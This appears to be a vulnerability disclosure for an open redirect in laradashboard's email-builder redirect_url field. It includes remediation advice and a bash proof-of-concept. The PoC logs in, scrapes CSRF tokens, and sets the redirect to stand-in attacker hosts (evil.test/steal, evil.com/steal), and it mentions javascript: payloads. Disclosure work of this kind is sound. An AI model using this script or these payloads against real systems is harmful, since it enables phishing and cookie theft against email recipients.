laradashboard/laradashboard: Open Redirect via Email-Builder redirect_url

Open Redirect via Email-Builder redirect_url

• Severity: CVSS /AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

• CWE: 601 (open redirect)
• Affected: v1.4.2; EmailTemplateController, lara-builder/entry.jsx

Summary

The redirect_url field accepted in the editor goes into the email HTML without sanitization:

// EmailTemplateController.php:142 (formRequest: $request->redirect_url → db)
// EmailTemplateController.php:159 (saved in plaintext)

The redirect is rendered in the email body (inside <script> block in the custom HTML view) and triggered client-side:

// lara-builder/entry.jsx:63
window.location.href = redirect_url;

Auth scope: email_template.view (authors/editors with email-template access). The payload renders at email open in the recipient's client.

Reproduction

1. PUT /admin/email-templates/1 — set redirect_url to https://evil.com/steal (or javascript: in legacy rendering).
2. Send test email → recipient clicked "Continue reading" → redirected to attacker domain.

Impact

• Credential/CSRF phishing via a trusted brand link (the mail looks like it comes from the app).
• DOM-based redirect (legacy) may allow XSS/cookie-exfiltration chains in older clients.

Remediation

1. Validate redirect_url against an allow-list of first-party domains + https only.
2. Render as a <a href> with rel=noreferrer noopener rather than window.location.href.

PoC

Script

#!/usr/bin/env bash
# V-09: Open redirect via email-builder redirect_url
set -eu
BASE="${BASE_URL:?Set BASE_URL to running app}"
EDITOR_EMAIL="${EDITOR_EMAIL:-editor@example.com}"
EDITOR_PASS="${EDITOR_PASS:-password}"
COOKIE=$(mktemp)
trap 'rm -f "$COOKIE"' EXIT

curl -sS -c "$COOKIE" "$BASE/login" > /dev/null
CSRF=$(curl -sS -b "$COOKIE" "$BASE/login" | grep -oP 'name="_token"[^>]*value="\K[^"]+' | head -1)
curl -sS -b "$COOKIE" -c "$COOKIE" -X POST "$BASE/login" \
  -d "_token=$CSRF&email=$EDITOR_EMAIL&password=$EDITOR_PASS" -o /dev/null

echo "[1/2] Setting redirect_url to attacker domain..."
CSRF2=$(curl -sS -b "$COOKIE" "$BASE/admin/email-templates/1/edit" | grep -oP 'name="_token"[^>]*value="\K[^"]+' | head -1)
curl -sS -b "$COOKIE" -X PUT "$BASE/admin/email-templates/1" \
  -d "_token=$CSRF2&email_templates[name]=reset-poc&redirect_url=https://evil.test/steal?c=" \
  -w "    HTTP %{http_code}\n"

echo "[2/2] Emailed link redirects on open (entry.jsx:63 window.location.href)..."
echo "    → recipient clicks 'Continue reading' → https://evil.test/steal"
echo "[+] Done — open redirect in branded email."

Expected output

[1/2] Setting redirect_url to attacker domain...
    HTTP 200
[2/2] Emailed link redirects on open (entry.jsx:63 window.location.href)...
    → recipient clicks 'Continue reading' → https://evil.test/steal
[+] Done — open redirect in branded email.

No scheme/domain validation on redirect_url (EmailTemplateController.php:142,159).

Connect with the researcher: Evilord on LinkedIn